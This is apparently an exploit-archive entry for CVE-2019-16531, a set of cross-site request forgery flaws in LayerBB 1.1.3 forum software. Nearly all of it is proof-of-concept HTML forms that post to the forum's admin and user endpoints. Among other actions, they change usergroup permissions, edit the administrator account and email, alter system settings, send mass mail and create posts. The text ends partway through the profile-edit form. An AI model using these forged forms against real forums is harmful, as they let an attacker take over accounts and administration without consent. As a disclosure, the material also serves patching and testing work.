LayerBB < 1.1.4 - Cross-Site Request Forgery

Related Vulnerabilities: CVE-2019-16531  
Publish Date: 20 Sep 2019
Author: 0xB9
                							

                # Exploit Title: LayerBB 1.1.3 - Multiple CSRF
# Date: 4/7/2019
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://forum.layerbb.com/downloads.php?view=file&amp;id=30
# Version: 1.1.3
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-16531


1. Description:
LayerBB is a free open-source forum software, multiple CSRF vulnerabilities were found such as editing user profiles and forums.


2. Proof of Concepts:

&lt;!-- Edit Usergroup CSRF --&gt;
&lt;form action="http://localhost/admin/edit_usergroup.php/id/1" method="POST" style="padding: 25px;"&gt;
    &lt;label for="g_name"&gt;Name&lt;/label&gt;
    &lt;input type="text" name="g_name" id="g_name" value="User" class="form-control"&gt;
    &lt;label for="g_style"&gt;Style &lt;small&gt;&lt;code&gt;%username%&lt;/code&gt; will be replaced with the user's username.&lt;/small&gt;&lt;/label&gt;
    &lt;textarea name="g_style" id="g_style" class="form-control"&gt;&lt;span&gt;%username%&lt;/span&gt;&lt;/textarea&gt;
    &lt;label for="b_style_s"&gt;Banner Style Start&lt;/label&gt;
    &lt;textarea name="b_style_s" id="b_style_s" class="form-control"&gt;&lt;span class="label label -default"&gt;&lt;/textarea&gt;
    &lt;label for="b_style_e"&gt;Banner Style End&lt;/label&gt;
    &lt;textarea name="b_style_e" id="b_style_e" class="form-control"&gt;&lt;/span&gt;&lt;/textarea&gt;
    &lt;label for="permissions"&gt;Permissions&lt;/label&gt;&lt;br&gt;
    &lt;input type="checkbox" name="permissions[]" value="1" checked=""&gt; view_forum&lt;br&gt;&lt;input type="checkbox" name="permissions[]" value="2" checked=""&gt; create_thread&lt;br&gt;&lt;input type="checkbox" name="permissions[]" value="3" checked=""&gt; reply_thread&lt;br&gt;&lt;input type="checkbox" name="permissions[]" value="4"&gt; access_moderation&lt;br&gt;&lt;input type="checkbox" name="permissions[]" value="5"&gt; access_administration&lt;br&gt;
    &lt;br&gt;
    &lt;input type="checkbox" name="is_staff" value="1"&gt; This Usergroup is staff.
    &lt;br&gt;
    &lt;input type="submit" name="update" value="Save Changes" class="btn btn-default"&gt;
&lt;/form&gt;
&lt;!-- Edit Usergroup CSRF End --&gt;

&lt;!-- Edit User CSRF --&gt;
&lt;form action="http://localhost/admin/edit_user.php/id/1" method="POST" style="padding: 25px;"&gt;
    &lt;label for="username"&gt;Username&lt;/label&gt;
    &lt;input type="text" name="username" id="username" value="Administrator" class="form-control"&gt;
    &lt;label for="email"&gt;Email Address&lt;/label&gt;
    &lt;input type="text" name="email" id="email" value="demo@layerbb.com" class="form-control"&gt;
    &lt;label for="usermsg"&gt;User Message&lt;/label&gt;
    &lt;input type="text" name="usermsg" id="usermsg" value="User" class="form-control"&gt;
    &lt;label for="signature"&gt;User Signature&lt;/label&gt;
    &lt;textarea id="editor" name="signature" class="form-control" style="min-height:250px;"&gt;&lt;/textarea&gt;
    &lt;label for="disabled"&gt;User Activated&lt;/label&gt;&lt;br&gt;
    &lt;input type="radio" name="disabled" value="0" checked=""&gt; Do Not Change&lt;br&gt;
    &lt;input type="radio" name="disabled" value="0"&gt; Active&lt;br&gt;
    &lt;input type="radio" name="disabled" value="1"&gt; Disabled&lt;br&gt;
    &lt;br&gt;
    &lt;label for="usergroup"&gt;Usergroup&lt;/label&gt;&lt;br&gt;
    &lt;select name="usergroup" id="usergroup" style="width:100%;"&gt;
    &lt;option value="4" selected=""&gt;Dont Change&lt;/option&gt;
    &lt;option value="1"&gt;User&lt;/option&gt;&lt;option value="2"&gt;Banned&lt;/option&gt;&lt;option value="3"&gt;Moderator&lt;/option&gt;&lt;option value="4"&gt;Administrator&lt;/option&gt;
    &lt;/select&gt;&lt;br&gt;&lt;br&gt;
    &lt;input type="submit" name="update" value="Save Changes" class="btn btn-default"&gt;
&lt;/form&gt;
&lt;!-- Edit User CSRF End --&gt;

&lt;!-- Edit Category CSRF --&gt;
&lt;form action="http://localhost/admin/edit_category.php/id/1" method="POST" style="padding: 25px;"&gt;
    &lt;label for="cat_title"&gt;Title&lt;/label&gt;
    &lt;input type="text" name="cat_title" id="cat_title" value="First Category" class="form-control"&gt;
    &lt;label for="cat_desc"&gt;Description&lt;/label&gt;
    &lt;textarea name="cat_desc" id="cat_desc" class="form-control"&gt;First category on this forum!&lt;/textarea&gt;
    &lt;br&gt;
    &lt;label for="allowed_usergroups"&gt;Allowed Usergroups&lt;/label&gt;&lt;br&gt;
    &lt;input type="checkbox" name="allowed_ug[]" value="0" checked=""&gt; Guest&lt;br&gt;&lt;input type="checkbox" name="allowed_ug[]" value="1" checked=""&gt; User&lt;br&gt;&lt;input type="checkbox" name="allowed_ug[]" value="2"&gt; Banned&lt;br&gt;&lt;input type="checkbox" name="allowed_ug[]" value="3" checked=""&gt; Moderator&lt;br&gt;&lt;input type="checkbox" name="allowed_ug[]" value="4" checked=""&gt; Administrator&lt;br&gt;
    &lt;br&gt;
    &lt;input type="submit" name="update" value="Save Changes" class="btn btn-default"&gt;
&lt;/form&gt;
&lt;!-- Edit Category CSRF End --&gt;

&lt;!-- Edit Node CSRF --&gt;
&lt;form action="http://localhost/admin/edit_node.php/id/1" method="POST" style="padding: 25px;"&gt;
    &lt;label for="cat_title"&gt;Title&lt;/label&gt;
    &lt;input type="text" name="node_title" id="cat_title" value="First Node" class="form-control"&gt;
    &lt;label for="cat_desc"&gt;Description&lt;/label&gt;
    &lt;textarea name="node_desc" id="cat_desc" class="form-control"&gt;The first node on this forum&lt;/textarea&gt;
    &lt;label for="parent"&gt;Parent&lt;/label&gt;&lt;br&gt;
    &lt;select name="node_parent" id="parent" style="width:100%;"&gt;
    &lt;option value="1" selected=""&gt;First Category&lt;/option&gt;
    &lt;/select&gt;
    &lt;br&gt;
    &lt;label for="additional_option"&gt;Additional Options&lt;/label&gt;&lt;br&gt;
    &lt;input type="checkbox" name="lock_node" value="1" id="lock_node"&gt; &lt;label style="font-weight: normal;" for="lock_node"&gt;Lock Node&lt;/label&gt;
    &lt;br&gt;
    &lt;label for="allowed_usergroups"&gt;Allowed Usergroups&lt;/label&gt;&lt;br&gt;
    &lt;input type="checkbox" name="allowed_ug[]" value="0" checked=""&gt; Guest&lt;br&gt;&lt;input type="checkbox" name="allowed_ug[]" value="1" checked=""&gt; User&lt;br&gt;&lt;input type="checkbox" name="allowed_ug[]" value="2"&gt; Banned&lt;br&gt;&lt;input type="checkbox" name="allowed_ug[]" value="3" checked=""&gt; Moderator&lt;br&gt;&lt;input type="checkbox" name="allowed_ug[]" value="4" checked=""&gt; Administrator&lt;br&gt;
    &lt;label for="labels"&gt;Labels&lt;/label&gt; &lt;small&gt;Each Line is a new label. HTML enabled.&lt;/small&gt;
    &lt;textarea name="labels" id="labels" class="form-control"&gt;&lt;/textarea&gt;&lt;br&gt;
    &lt;input type="submit" name="update" value="Save Changes" class="btn btn-default"&gt;
&lt;/form&gt;
&lt;!-- Edit Node CSRF End --&gt;

&lt;!-- System Settings CSRF --&gt;
&lt;form action="http://localhost/admin/general.php" enctype="multipart/form-data" method="POST"&gt;&lt;section class="col-lg-12"&gt;
    &lt;div class="box box-success"&gt;
    &lt;div class="box-header"&gt;
    &lt;div class="tab-content" style="padding: 25px;"&gt;
    &lt;br&gt;
       &lt;label for="site_name"&gt;Board Name&lt;/label&gt;
       &lt;input type="text" class="form-control" name="site_name" id="site_name" value="LayerBB Demo"&gt;
       &lt;label for="board_email"&gt;Board Email&lt;/label&gt;
       &lt;input type="text" class="form-control" name="board_email" id="board_email" value="demo@layerbb.com"&gt;
       &lt;label for="number_subs"&gt;Number of shown subforums&lt;/label&gt;
       &lt;input type="text" class="form-control" name="number_subs" id="number_subs" value="3"&gt;
       &lt;input type="checkbox" name="register_enable" value="1" id="reg_enable" checked=""&gt; &lt;label for="reg_enable"&gt;Enable Registeration&lt;/label&gt;&lt;br&gt;
       &lt;input type="checkbox" name="post_merge" value="1" id="post_merge" checked=""&gt; &lt;label for="post_merge"&gt;Merge Posts (&lt;a href="#" title="Merge consecutive posts by the same user." id="tooltip"&gt;?&lt;/a&gt;)&lt;/label&gt;&lt;br&gt;
       &lt;input type="checkbox" name="site_enable" value="1" id="site_enable" checked=""&gt; &lt;label for="site_enable"&gt;Forum Enabled (&lt;a href="#" title="Allows you to enable or disable your forums." id="tooltip"&gt;?&lt;/a&gt;)&lt;/label&gt;&lt;br&gt;
       &lt;input type="checkbox" name="email_verify" value="1" id="email_verify"&gt; &lt;label for="email_verify"&gt;Email Verification (&lt;a href="#" title="Allows you to enable or disable email verification." id="tooltip"&gt;?&lt;/a&gt;)&lt;/label&gt;&lt;br&gt;
       &lt;input type="checkbox" name="enable_signatures" value="1" id="enable_signatures" checked=""&gt; &lt;label for="enable_signatures"&gt;Allow user signatures (&lt;a href="#" title="Allows you to disable user signatures." id="tooltip"&gt;?&lt;/a&gt;)&lt;/label&gt;&lt;br&gt;
       &lt;input type="checkbox" name="enable_pcomments" value="1" id="enable_pcomments" checked=""&gt; &lt;label for="enable_pcomments"&gt;Enable Profile Comments (&lt;a href="#" title="Allows you to disable profile comments." id="tooltip"&gt;?&lt;/a&gt;)&lt;/label&gt;&lt;br&gt;
       &lt;br&gt;
       &lt;label for="default_language"&gt;Default Languge&lt;/label&gt;&lt;br&gt;
       &lt;select name="default_language" id="Default_language" class="form-control"&gt;
       &lt;option value="english" selected=""&gt;English&lt;/option&gt;
       &lt;/select&gt;&lt;br&gt;
       &lt;input type="checkbox" name="enable_rtl" value="1" id="enable_rtl"&gt; &lt;label for="enable_rtl"&gt;Enable RTL (&lt;a href="#" title="Enable Right-to-left for languages that need RTL" id="tooltip"&gt;?&lt;/a&gt;)&lt;/label&gt;&lt;br&gt;&lt;br&gt;
       &lt;label for="board_rules"&gt;Board Rules&lt;/label&gt;
       &lt;span id="helpBlock" class="help-block"&gt;HTML tags will be converted into ascii codes. Hyperlinks are not supported!&lt;/span&gt;
       &lt;textarea name="board_rules" class="form-control" style="min-height:250px;"&gt;- No spamming.&lt;/textarea&gt;
       &lt;br&gt;
       &lt;label for="offline_msg"&gt;Offline Message&lt;/label&gt;
       &lt;span id="helpBlock" class="help-block"&gt;HTML tags will be converted into ascii codes.&lt;/span&gt;
       &lt;textarea name="offline_msg" class="form-control" style="min-height:250px;"&gt;&lt;/textarea&gt;
    &lt;br&gt;
      &lt;label for="rcap_public"&gt;reCaptcha Public Key&lt;/label&gt;
      &lt;input type="text" name="rcap_public" id="rcap_public" class="form-control" value="0"&gt;
      &lt;label for="rcap_private"&gt;reCaptcha Private Key&lt;/label&gt;
      &lt;input type="text" name="rcap_private" id="rcap_private" class="form-control" value="0"&gt;
      &lt;input type="checkbox" name="enable_recaptcha" value="1"&gt; Use reCaptcha&lt;br&gt;
    &lt;br&gt;
      &lt;label for="content"&gt;Board Signature&lt;/label&gt;
      &lt;textarea id="editor" name="board_signature" class="form-control" style="min-height:250px;"&gt;&lt;/textarea&gt;
      &lt;div class="alert alert-info" role="alert"&gt;&lt;b&gt;Please Note:&lt;/b&gt; HTML Tags do not work, line breaks and urls are automatically converted!&lt;/div&gt;
    &lt;br&gt;
      &lt;label for="custom_logo"&gt;Easy Logo Changer&lt;/label&gt;
      &lt;input type="file" name="custom_logo" id="custom_logo" class="form-control"&gt;

    &lt;/div&gt;&lt;br&gt;
  &lt;center&gt;&lt;input type="submit" name="update" class="btn btn-default" value="Save Settings"&gt;&lt;/center&gt;&lt;br&gt;
  &lt;/div&gt;
  &lt;/div&gt;&lt;/section&gt;
&lt;/form&gt;
&lt;!-- System Settings CSRF End --&gt;

&lt;!-- Manage Category CSRF --&gt;
&lt;table class="table table-hover"&gt;
     &lt;thead&gt;
       &lt;tr&gt;
          &lt;th style="width:70%"&gt;Category&lt;/th&gt;
          &lt;th style="width:10%"&gt;Order&lt;/th&gt;
          &lt;th style="width:20%"&gt;Controls&lt;/th&gt;
        &lt;/tr&gt;
     &lt;/thead&gt;
     &lt;tbody&gt;
       &lt;tr&gt;
        &lt;td&gt;
          &lt;strong&gt;test cat&lt;/strong&gt;&lt;br&gt;
          &lt;small&gt;test cat&lt;/small&gt;
        &lt;/td&gt;
        &lt;td&gt;
          &lt;form action="http://localhost/admin/manage_category.php" method="POST"&gt;
            &lt;input type="hidden" name="cat_id" value="2"&gt;
            &lt;input type="text" class="form-control" name="cat_place" value="1"&gt;
            &lt;input type="submit" name="change_place" style="display:none;"&gt;
          &lt;/form&gt;
        &lt;/td&gt;
        &lt;td&gt;
          &lt;div class="btn-group"&gt;
              &lt;li&gt;&lt;a href="http://localhost/admin/edit_category.php/id/2"&gt;Edit Category&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href="http://localhost/admin/manage_category.php/delete_category/2"&gt;Delete Category&lt;/a&gt;&lt;/li&gt;
          &lt;/div&gt;
        &lt;/td&gt;
      &lt;/tr&gt;&lt;tr&gt;
        &lt;td&gt;
          &lt;strong&gt;First Category&lt;/strong&gt;&lt;br&gt;
          &lt;small&gt;First category on this forum!&lt;/small&gt;
        &lt;/td&gt;
        &lt;td&gt;
          &lt;form action="http://localhost/admin/manage_category.php" method="POST"&gt;
            &lt;input type="hidden" name="cat_id" value="1"&gt;
            &lt;input type="text" class="form-control" name="cat_place" value="2"&gt;
            &lt;input type="submit" name="change_place" style="display:none;"&gt;
          &lt;/form&gt;
        &lt;/td&gt;
        &lt;td&gt;
          &lt;div class="btn-group"&gt;
              &lt;li&gt;&lt;a href="http://localhost/admin/edit_category.php/id/1"&gt;Edit Category&lt;/a&gt;&lt;/li&gt;
              &lt;li&gt;&lt;a href="http://localhost/admin/manage_category.php/delete_category/1"&gt;Delete Category&lt;/a&gt;&lt;/li&gt;
          &lt;/div&gt;
        &lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;center&gt;&lt;h3&gt;Use &lt;font color="red"&gt;ENTER&lt;/font&gt; to save catagory order&lt;/h3&gt;&lt;/center&gt;
&lt;!-- Manage Category CSRF End --&gt;

&lt;!-- Manage Node CSRF --&gt;
&lt;table class="table table-hover"&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th style="width:70%"&gt;Node&lt;/th&gt;
        &lt;th style="width:10%"&gt;Order&lt;/th&gt;
        &lt;th style="width:20%"&gt;Controls&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;strong&gt;&lt;a href="#" target="_blank"&gt;First Node&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
        &lt;small&gt;The first node on this forum&lt;/small&gt;&lt;br&gt;
        &lt;small&gt;Sub-Forums: &lt;/small&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;form action="http://localhost/admin/manage_node.php" method="POST"&gt;
          &lt;input type="hidden" name="node_id" value="1"&gt;
          &lt;input type="text" class="form-control" name="node_place" value="0"&gt;
          &lt;input type="submit" name="change_place" style="display:none;"&gt;
        &lt;/form&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;div class="btn-group"&gt;
            &lt;li&gt;&lt;a href="http://localhost/admin/edit_node.php/id/1"&gt;Edit Node&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href="http://localhost/admin/manage_node.php/delete_node/1"&gt;Delete Node&lt;/a&gt;&lt;/li&gt;
            &lt;li&gt;&lt;a href="http://localhost/admin/manage_node.php/toggle_lock/1"&gt;Toggle Lock&lt;/a&gt;&lt;/li&gt;
        &lt;/div&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;center&gt;&lt;h3&gt;Use &lt;font color="red"&gt;ENTER&lt;/font&gt; to save catagory order&lt;/h3&gt;&lt;/center&gt;
&lt;!-- Manage Node CSRF End --&gt;

&lt;!-- Mass Mail CSRF --&gt;
&lt;form action="http://localhost/admin/massemail.php" method="POST" style="padding: 25px;"&gt;
    &lt;label for="subject"&gt;Subject&lt;/label&gt;
    &lt;input type="text" name="subject" id="subject" value="" class="form-control"&gt;
    &lt;label for="content"&gt;Email Content&lt;/label&gt;
    &lt;textarea id="editor" name="content" class="form-control" style="min-height:250px;"&gt;&lt;/textarea&gt;&lt;br&gt;
    &lt;div class="alert alert-info" role="alert"&gt;&lt;b&gt;Please Note:&lt;/b&gt; HTML Tags do not work, line breaks and urls are automatically converted!&lt;/div&gt;
    &lt;input type="submit" name="send" value="Send Email" class="btn btn-default"&gt;
&lt;/form&gt;
&lt;!-- Mass Mail CSRF End --&gt;

&lt;!-- Navbar CSRF --&gt;
&lt;form method="POST" action="http://localhost/admin/navbar.php"&gt;
  &lt;h4 class="modal-title" id="myModalLabel"&gt;Editing &lt;b&gt;google&lt;/b&gt; Navbar Item&lt;/h4&gt;
    &lt;input type="hidden" name="id" value="1"&gt;
    &lt;div class="form-group"&gt;
      &lt;label for="title"&gt;URL Title&lt;/label&gt;
      &lt;input type="text" class="form-control" id="title" name="title" value="google"&gt;
    &lt;/div&gt;
    &lt;div class="form-group"&gt;
      &lt;label for="url"&gt;URL&lt;/label&gt;
      &lt;input type="text" class="form-control" id="url" name="url" value="https://google.com"&gt;
    &lt;/div&gt;
    &lt;div class="form-group"&gt;
      &lt;label for="newpage"&gt;Open URL in new page&lt;/label&gt;
      &lt;select class="form-control" id="newpage" name="newpage"&gt;
        &lt;option value="1"&gt;Current - Do Not Change&lt;/option&gt;
        &lt;option value="1"&gt;Yes&lt;/option&gt;
        &lt;option value="0"&gt;No&lt;/option&gt;
      &lt;/select&gt;
    &lt;/div&gt;
    &lt;div class="form-group"&gt;
      &lt;label for="order"&gt;Order&lt;/label&gt;
      &lt;input type="text" class="form-control" id="order" name="order" value="1"&gt;
    &lt;/div&gt;
    &lt;button type="submit" name="savechange" id="savechange" class="btn btn-primary"&gt;Save Changes&lt;/button&gt;
&lt;/form&gt;
&lt;!-- Navbar CSRF End --&gt;

&lt;!-- New Category CSRF --&gt;
&lt;form action="http://localhost/admin/new_category.php" method="POST" style="padding: 25px;"&gt;
   &lt;label for="cat_title"&gt;Title&lt;/label&gt;
   &lt;input type="text" name="cat_title" id="cat_title" class="form-control"&gt;
   &lt;label for="cat_desc"&gt;Description&lt;/label&gt;
   &lt;textarea name="cat_desc" id="cat_desc" class="form-control"&gt;&lt;/textarea&gt;
   &lt;br&gt;
   &lt;label for="allowed_usergroups"&gt;Allowed Usergroups&lt;/label&gt;
   &lt;br&gt;
   &lt;input type="checkbox" name="allowed_ug[]" value="1" checked=""&gt; User&lt;br&gt;&lt;input type="checkbox" name="allowed_ug[]" value="2" checked=""&gt; Banned&lt;br&gt;&lt;input type="checkbox" name="allowed_ug[]" value="3" checked=""&gt; Moderator&lt;br&gt;&lt;input type="checkbox" name="allowed_ug[]" value="4" checked=""&gt; Administrator&lt;br&gt;
   &lt;br&gt;
   &lt;input type="submit" name="create" value="Create Category" class="btn btn-default"&gt;
&lt;/form&gt;
&lt;!-- New Category CSRF End --&gt;

&lt;!-- New Node CSRF --&gt;
&lt;form action="http://localhost/admin/new_node.php" method="POST" style="padding: 25px;"&gt;
   &lt;label for="node_title"&gt;Title&lt;/label&gt;
   &lt;input type="text" name="node_title" id="node_title" class="form-control"&gt;
   &lt;label for="node_desc"&gt;Description&lt;/label&gt;
   &lt;textarea name="node_desc" id="node_desc" class="form-control"&gt;&lt;/textarea&gt;
   &lt;label for="parent"&gt;Parent&lt;/label&gt;&lt;br&gt;
   &lt;select name="node_parent" id="parent"&gt;
     &lt;option value="1"&gt;First Category&lt;/option&gt;&lt;option value="&amp;1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-First Node&lt;/option&gt;
   &lt;/select&gt;
   &lt;br&gt;
   &lt;label for="additional_option"&gt;Additional Options&lt;/label&gt;&lt;br&gt;
   &lt;input type="checkbox" name="lock_node" value="1" id="lock_node"&gt; &lt;label style="font-weight: normal;" for="lock_node"&gt;Lock Node&lt;/label&gt;
   &lt;br&gt;
   &lt;label for="allowed_usergroups"&gt;Allowed Usergroups&lt;/label&gt;
   &lt;br&gt;
   &lt;input type="checkbox" name="allowed_ug[]" value="1" checked=""&gt; User&lt;br&gt;&lt;input type="checkbox" name="allowed_ug[]" value="2" checked=""&gt; Banned&lt;br&gt;&lt;input type="checkbox" name="allowed_ug[]" value="3" checked=""&gt; Moderator&lt;br&gt;&lt;input type="checkbox" name="allowed_ug[]" value="4" checked=""&gt; Administrator&lt;br&gt;
   &lt;label for="labels"&gt;Labels&lt;/label&gt; &lt;small&gt;Each Line is a new label. HTML enabled.&lt;/small&gt;
   &lt;textarea name="labels" id="labels" class="form-control"&gt;&lt;/textarea&gt;&lt;br&gt;
   &lt;input type="submit" name="create" value="Create Node" class="btn btn-default"&gt;
&lt;/form&gt;
&lt;!-- New Node CSRF End --&gt;

&lt;!-- New Usergroup CSRF End --&gt;
&lt;form action="http://localhost/admin/new_usergroup.php" method="POST" style="padding: 25px;"&gt;
    &lt;label for="g_name"&gt;Name&lt;/label&gt;
    &lt;input type="text" name="g_name" id="g_name" class="form-control"&gt;
    &lt;label for="g_style"&gt;Style &lt;small&gt;&lt;code&gt;%username%&lt;/code&gt; will be replaced with the user's username.&lt;/small&gt;&lt;/label&gt;
    &lt;textarea name="g_style" id="g_style" class="form-control"&gt;&lt;span&gt;%username%&lt;/span&gt;&lt;/textarea&gt;
    &lt;label for="permissions"&gt;Permissions&lt;/label&gt;&lt;br&gt;
    &lt;input type="checkbox" name="permissions[]" value="1"&gt; view_forum&lt;br&gt;&lt;input type="checkbox" name="permissions[]" value="2"&gt; create_thread&lt;br&gt;&lt;input type="checkbox" name="permissions[]" value="3"&gt; reply_thread&lt;br&gt;&lt;input type="checkbox" name="permissions[]" value="4"&gt; access_moderation&lt;br&gt;&lt;input type="checkbox" name="permissions[]" value="5"&gt; access_administration&lt;br&gt;
    &lt;br&gt;
    &lt;input type="checkbox" name="is_staff" value="1"&gt; This Usergroup is staff.
    &lt;br&gt;
    &lt;input type="submit" name="new" value="Create Usergroup" class="btn btn-default"&gt;
&lt;/form&gt;
&lt;!-- New Usergroup CSRF End --&gt;

&lt;!-- Profile Fields CSRF --&gt;
&lt;form method="POST" action="http://localhost/admin/profile_fields.php" style="padding: 25px;"&gt;
    &lt;input type="hidden" name="id" value="1"&gt;
    &lt;div class="form-group"&gt;
    &lt;label for="title"&gt;Title&lt;/label&gt;
    &lt;input type="text" class="form-control" id="title" name="title" value="discord"&gt;
    &lt;/div&gt;
    &lt;button type="submit" name="savechange" id="savechange" class="btn btn-primary"&gt;Save Changes&lt;/button&gt;
&lt;/form&gt;
&lt;!-- Profile Fields CSRF End --&gt;

&lt;!-- Sidebar CSRF --&gt;
&lt;form method="POST" action="http://localhost/admin/sidebar.php" style="padding: 25px;"&gt;
    &lt;input type="hidden" name="id" value="1"&gt;
    &lt;div class="form-group"&gt;
      &lt;label for="title"&gt;Title&lt;/label&gt;
      &lt;input type="text" class="form-control" id="title" name="title" value="Demo Information"&gt;
    &lt;/div&gt;
    &lt;div class="form-group"&gt;
      &lt;label for="content"&gt;Content&lt;/label&gt;
      &lt;textarea class="form-control" name="content" id="content" style="min-height:250px;"&gt;&lt;div class="alert alert-danger" role="alert"&gt; This is the LayerBB Demo Website, you can login using&lt;br /&gt;&lt;br /&gt; User: Administrator &lt;br /&gt;Pass: admin (Case sensitive)&lt;br /&gt;&lt;br /&gt;This demo gets refreshed every 24-hours.&lt;/div&gt;&lt;/textarea&gt;
    &lt;/div&gt;
    &lt;div class="form-group"&gt;
      &lt;label for="style"&gt;Style&lt;/label&gt;
      &lt;select class="form-control" id="style" name="style"&gt;
      &lt;option value="danger"&gt;Current - Do Not Change&lt;/option&gt;
      &lt;option value="primary"&gt;Primary&lt;/option&gt;
      &lt;option value="success"&gt;Success&lt;/option&gt;
      &lt;option value="info"&gt;Info&lt;/option&gt;
      &lt;option value="warning"&gt;Warning&lt;/option&gt;
      &lt;option value="danger"&gt;Danger&lt;/option&gt;&lt;/select&gt;
    &lt;/div&gt;
    &lt;div class="form-group"&gt;
      &lt;label for="glyphicon"&gt;Glyphicon (Optional)&lt;/label&gt;
      &lt;input type="text" class="form-control" id="glyphicon" name="glyphicon" value="alert"&gt;
    &lt;/div&gt;
    &lt;div class="form-group"&gt;
      &lt;label for="order"&gt;Order&lt;/label&gt;
      &lt;input type="text" class="form-control" id="order" name="order" value="1"&gt;
    &lt;/div&gt;
  &lt;button type="submit" name="savechange" id="savechange" class="btn btn-primary"&gt;Save Changes&lt;/button&gt;
&lt;/form&gt;
&lt;!-- Sidebar CSRF End --&gt;

&lt;!-- Edit Threads/Posts CSRF --&gt;
&lt;form id="LAYER_form" action="http://localhost/edit.php/post/1" method="POST" style="padding: 25px;"&gt;
    &lt;input id="title" name="title" type="text" value="test"&gt;&lt;br&gt;
    &lt;textarea id="editor" name="content" style="width: 100%; height: 300px; max-width: 100%; min-width: 100%;"&gt;test post&lt;/textarea&gt;
    &lt;br&gt;
    &lt;input type="submit" name="edit" value="Edit Post"&gt;
&lt;/form&gt;
&lt;!-- Edit Threads/Posts CSRF --&gt;

&lt;!-- New Threads/Posts CSRF --&gt;
&lt;form id="LAYER_form" action="http://localhost/new.php/node/1" method="POST" style="padding: 25px;"&gt;
  &lt;input type="text" name="title" placeholder="Thread Title..." style="width:100%;" class="col-sm-9 form-control"&gt;
  &lt;div class="clearfix"&gt;&lt;/div&gt;
  &lt;br&gt;
  &lt;textarea id="editor" style="width: 100%; height: 300px; max-width: 100%;" name="content"&gt;&lt;/textarea&gt;

  &lt;div class="center-block" style="margin-top:5px;"&gt;
      &lt;input type="submit" name="create" value="Create Thread"&gt;
  &lt;/div&gt;

  &lt;br&gt;
  &lt;ul class="nav nav-tabs"&gt;
      &lt;li class="active"&gt;&lt;a href="#polls" data-toggle="tab"&gt;Polls&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;div class="tab-content"&gt;
      &lt;div class="tab-pane active" id="polls"&gt;
           &lt;div class="col-md-6"&gt;
               &lt;label for="question"&gt;Question&lt;/label&gt;
               &lt;input type="text" name="question"&gt;
               &lt;label for="answer_1"&gt;1. Answer&lt;/label&gt;
               &lt;input type="text" name="answer_1" id="answer_1"&gt;
               &lt;label for="answer_2"&gt;2. Answer&lt;/label&gt;
               &lt;input type="text" name="answer_2" id="answer_2"&gt;
               &lt;span class="btn btn-primary btn-xs" href="" onclick="plus();"&gt; Add an answer field &lt;/span&gt;
           &lt;/div&gt;
      &lt;/div&gt;
  &lt;/div&gt;
&lt;/form&gt;
&lt;!-- New Threads/Posts CSRF End --&gt;

&lt;!-- Thread Reply CSRF --&gt;
&lt;form id="LAYER_form" action="http://localhost/reply.php/test.1" method="POST" style="padding: 25px;"&gt;
    &lt;textarea id="editor" style="width: 100%; height: 300px;" name="content"&gt;&lt;/textarea&gt;
    &lt;p class="pull-right" style="margin-top:5px;"&gt;
        &lt;input type="submit" name="reply" value="Post Reply"&gt;
    &lt;/p&gt;
&lt;/form&gt;
&lt;!-- Thread Reply CSRF End --&gt;

&lt;!-- PM Reply CSRF --&gt;
&lt;form id="%form_id%" action="http://localhost/conversations.php/cmd/reply/id/1" method="POST" style="padding: 25px;"&gt;
    &lt;textarea id="editor" style="width: 100%; height: 300px;" name="content"&gt;&lt;/textarea&gt;
    &lt;p class="pull-right" style="margin-top:5px;"&gt;
        &lt;input type="submit" name="reply" value="Post Reply"&gt;
    &lt;/p&gt;
&lt;/form&gt;
&lt;!-- PM Reply CSRF End --&gt;

&lt;!-- Report Post CSRF --&gt;
&lt;form action="http://localhost/report.php/post/1" id="LAYER_form" method="POST" style="padding: 25px;"&gt;
    &lt;label for="reason"&gt;Reason&lt;/label&gt;
    &lt;textarea name="reason" style="height:150px;width:100%;min-width:100%;max-width:100%;"&gt;&lt;/textarea&gt;
    &lt;br&gt;
    &lt;input type="submit" name="report" value="Report"&gt;
&lt;/form&gt;
&lt;!-- Report Post CSRF End --&gt;

&lt;!-- Edit Profile CSRF --&gt;
&lt;form id="LAYER_form" action="http://localhost/profile.php/cmd/edit" method="POST" style="padding: 25px;"&gt;
    &lt;label for="email"&gt;Email&lt;/label&gt;
    &lt;input type="text" name="email" id="email" value="demo@layerbb.com"&gt;
    &lt;label for="usermsg"&gt;User Message&lt;/label&gt;
    &lt;input type="text" name="usermsg" id="usermsg" value="User"&gt;
    &lt;label for="gender"&gt;Gender&lt;/label&gt;
    &lt;select id="gender" name="gender"&gt;&lt;option value="0" selected="selected"&gt;Not telling&lt;/option&gt;
    &lt;option value="1"&gt;Female&lt;/option&gt;
    &lt;option value="2"&gt;Male&lt;/option&gt;&lt;/select&gt;
    &lt;label for="timezone"&gt;Timezone&lt;/label&gt;
